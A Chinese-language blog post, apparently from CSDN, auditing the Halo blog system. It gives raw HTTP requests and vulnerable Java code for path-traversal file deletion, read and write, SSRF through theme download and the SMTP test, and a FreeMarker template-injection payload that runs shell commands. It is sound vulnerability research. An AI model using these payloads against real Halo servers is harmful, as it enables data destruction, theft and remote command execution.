一次博客系统的代码审计

halo项目

博客备份功能(任意文件删除)

删除操作请求内容

DELETE /api/admin/backups/halo?filename=../../../../../../tmp/halotest HTTP/1.1
Host: 172.23.31.34:8090
Admin-Authorization: befcc5eba3924d20863b49236e61733a
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Origin: http://172.23.31.34:8090
Referer: http://172.23.31.34:8090/admin/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: JSESSIONID=node01nz65q5hxg6snhi14t5hdphpo0.node0
Connection: close

修改filename为任意文件地址

@Override
    public void deleteHaloBackup(String filename) {
        Assert.hasText(filename, "File name must not be blank");

        // Get backup path
        Path backupPath = Paths.get(halo.getBackupDir(), filename);

        try {
            // Delete backup file
            Files.delete(backupPath);

        } catch (NoSuchFileException e) {
            throw new NotFoundException("The file " + filename + " was not found", e);
        } catch (IOException e) {
            throw new ServiceException("Failed to delete backup", e);
        }
    }

这里可以看出直接对传入的filename做了删除的操作
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-URRHAMeG-1627717764834)(/Users/kit/Library/Application Support/typora-user-images/image-20210730153853435.png)]

获得主题内容(任意文件读取)

请求内容

GET /api/admin/themes/iwtwin/files/content?path=%2FUsers%2Fkit%2F.halo%2Ftemplates%2Fthemes%2Fiwtwin%2F../../../../../../tmp/halotest HTTP/1.1
Host: 172.23.31.34:8090
Admin-Authorization: fd1b639f4067447fa405b6013bdcc7f3
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Referer: http://172.23.31.34:8090/admin/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: JSESSIONID=node01nz65q5hxg6snhi14t5hdphpo0.node0
Connection: close

在读取模版内容时会有一个检查函数

private void checkDirectory(@NonNull String themeId, @NonNull String absoluteName) {
    ThemeProperty themeProperty = getThemeOfNonNullBy(themeId);
    FileUtils.checkDirectoryTraversal(themeProperty.getThemePath(), absoluteName);
}

这里checkDirectoryTraversal存在问题,startsWith只比较了模版储存目录和输入目录的前缀是否相同,所以在后面加…/…/即可任意目录读取

public static void checkDirectoryTraversal(@NonNull Path parentPath, @NonNull Path pathToCheck) {
    Assert.notNull(parentPath, "Parent path must not be null");
    Assert.notNull(pathToCheck, "Path to check must not be null");

    if (pathToCheck.startsWith(parentPath.normalize())) {
        return;
    }

    throw new ForbiddenException("你没有权限访问 " + pathToCheck).setErrorData(pathToCheck);
}

path=/Users/kit/.halo/templates/themes/iwtwin/…/…/…/…/…/…/tmp/halotest成功读取
在这里插入图片描述

写入主题(任意文件写入)

PUT /api/admin/themes/iwtwin/files/content HTTP/1.1
Host: 172.23.31.34:8090
Content-Length: 5620
Admin-Authorization: fd1b639f4067447fa405b6013bdcc7f3
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://172.23.31.34:8090
Referer: http://172.23.31.34:8090/admin/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: JSESSIONID=node01nz65q5hxg6snhi14t5hdphpo0.node0
Connection: close

{"path":"/Users/kit/.halo/templates/themes/iwtwin/../../../../../../../tmp/halotest","content":"halo test write"}

这里保存函数对于绝对的路径的检查同样采用checkDirectory比较前缀,所以用相同的方式绕过

    @Override
    public void saveTemplateContent(String themeId, String absolutePath, String content) {
        // Check the path
        checkDirectory(themeId, absolutePath);

        // Write file
        Path path = Paths.get(absolutePath);
        try {
            Files.write(path, content.getBytes(StandardCharsets.UTF_8));
        } catch (IOException e) {
            throw new ServiceException("保存模板内容失败 " + absolutePath, e);
        }
    }

成功写入halotest文件
在这里插入图片描述

下载主题(SSRF)

public ThemeProperty fetch(String uri) {
    Assert.hasText(uri, "Theme remote uri must not be blank");

    Path tmpPath = null;

    try {
        // Create temp path
        tmpPath = FileUtils.createTempDirectory();
        // Create temp path
        Path themeTmpPath = tmpPath.resolve(HaloUtils.randomUUIDWithoutDash());

        if (StringUtils.endsWithIgnoreCase(uri, ".zip")) {
            downloadZipAndUnzip(uri, themeTmpPath);
        } else {
            uri = StringUtils.appendIfMissingIgnoreCase(uri, ".git", ".git");
            // Clone from git
            GitUtils.cloneFromGit(uri, themeTmpPath);
        }

        return add(themeTmpPath);
    } catch (IOException | GitAPIException e) {
        throw new ServiceException("主题拉取失败 " + uri, e);
    } finally {
        FileUtils.deleteFolderQuietly(tmpPath);
    }
}

这里直接对传入的uri执行downloadZipAndUnzip函数,所以大概率存在SSRF

POST /api/admin/themes/fetching?uri=https:%2F%2F1.15.178.85:9999%2Fhh.zip HTTP/1.1
Host: 172.23.31.34:8090
Content-Length: 0
Pragma: no-cache
Cache-Control: no-cache
Admin-Authorization: fd1b639f4067447fa405b6013bdcc7f3
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Origin: http://172.23.31.34:8090
Referer: http://172.23.31.34:8090/admin/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: JSESSIONID=node01nz65q5hxg6snhi14t5hdphpo0.node0
Connection: close

这里验证了SSRF的猜想
在这里插入图片描述

SMTP发送邮件(SSRF)

在这里插入图片描述
这里设置好目标SMTP的ip地址后发送测试

POST /api/admin/mails/test HTTP/1.1
Host: 172.23.31.34:8090
Content-Length: 54
Pragma: no-cache
Cache-Control: no-cache
Admin-Authorization: fd1b639f4067447fa405b6013bdcc7f3
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://172.23.31.34:8090
Referer: http://172.23.31.34:8090/admin/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: JSESSIONID=node01nz65q5hxg6snhi14t5hdphpo0.node0
Connection: close

{"to":"123@gmail.com","subject":"111","content":"111"}

可以看出这里也是存在SSRF的问题
在这里插入图片描述
后端实现的代码为

@Override
public void sendMail(String to, String subject, String content) {
    loadConfig();

    String fromUsername = optionService.getByPropertyOfNonNull(EmailProperties.FROM_NAME).toString();

    try {
        OhMyEmail.subject(subject)
                .from(fromUsername)
                .to(to)
                .text(content)
                .send();
    } catch (Exception e) {
        log.debug("Email properties: to username: [{}], from username: [{}], subject: [{}], content: [{}]",
                to, fromUsername, subject, content);
        throw new EmailException("发送邮件到 " + to + " 失败,请检查 SMTP 服务配置是否正确", e);
    }
}

保存主题(Freemaker SSTI)

这里的主题的修改界面看到有ftl文件,而且文件的内容可以任意编辑,所以这里存在SSTI漏洞。Freemaker引擎SSTI具体的介绍可以参考https://zhuanlan.zhihu.com/p/250178650。这里使用内建函数new来构造poc。
poc

  <#assign value="freemarker.template.utility.Execute"?new()>
    ${value("touch /tmp/halo_ssti")}

在这里插入图片描述
访问404页面后,成功执行命令
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值